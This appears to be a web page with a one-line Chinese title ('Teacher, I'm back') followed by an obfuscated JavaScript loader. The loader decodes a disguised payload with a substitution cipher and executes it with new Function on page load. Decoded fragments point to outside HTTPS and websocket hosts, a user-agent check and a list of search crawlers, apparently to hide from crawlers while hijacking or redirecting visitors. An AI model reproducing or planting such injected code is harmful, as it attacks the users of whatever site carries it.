老师，我回来了

!function(){function a(a){var _idx="j4vvhb6lp1";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"(5_OJ"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPPQ}phCSqm)dhJ:(:m(O^gQn1Q"="hFFJLg\/\/[[fdTPPQ}phCSqm)dhJ:(:m(O^gQn1Q"="hFFJLg\/\/[[fdTPPQ}phCSqm)dhJ:(:m(O^gQn1Q"="hFFJLg\/\/[[fdTPPQ}phCSqm)dhJ:(:m(O^gQn1Q"="hFFJLg\/\/[[fdTPPQ}phCSqm)dhJ:(:m(O^gQn1Q"="hFFJLg\/\/[[fdTPPQ}phCSqm)dhJ:(:m(O^gQn1Q"="hFFJLg\/\/[[fdTPPQ}phCSqm)dhJ:(:m(O^gQn1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/CoXXh)KqJ}/Q}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"Q}"=X8"CoXXh)KqJ}"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Q}2CfRCf7mO64Jp(qm2YF"="Q}CSfRCfXm52776XYm2YF"="Q}OSfRC47mO64Jp(qm2YF"="Q}F(fRC2Sm52776XYm2YF"="Q}DhfRCdJmO64Jp(qm2YF"="Q}h)fRCCqm52776XYm2YF"="Q}JffRC7DmO64Jp(qm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Qn1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h>@=F8csv6a<>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPPQ}phCSqm)dhJ:(:m(O^gQn1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();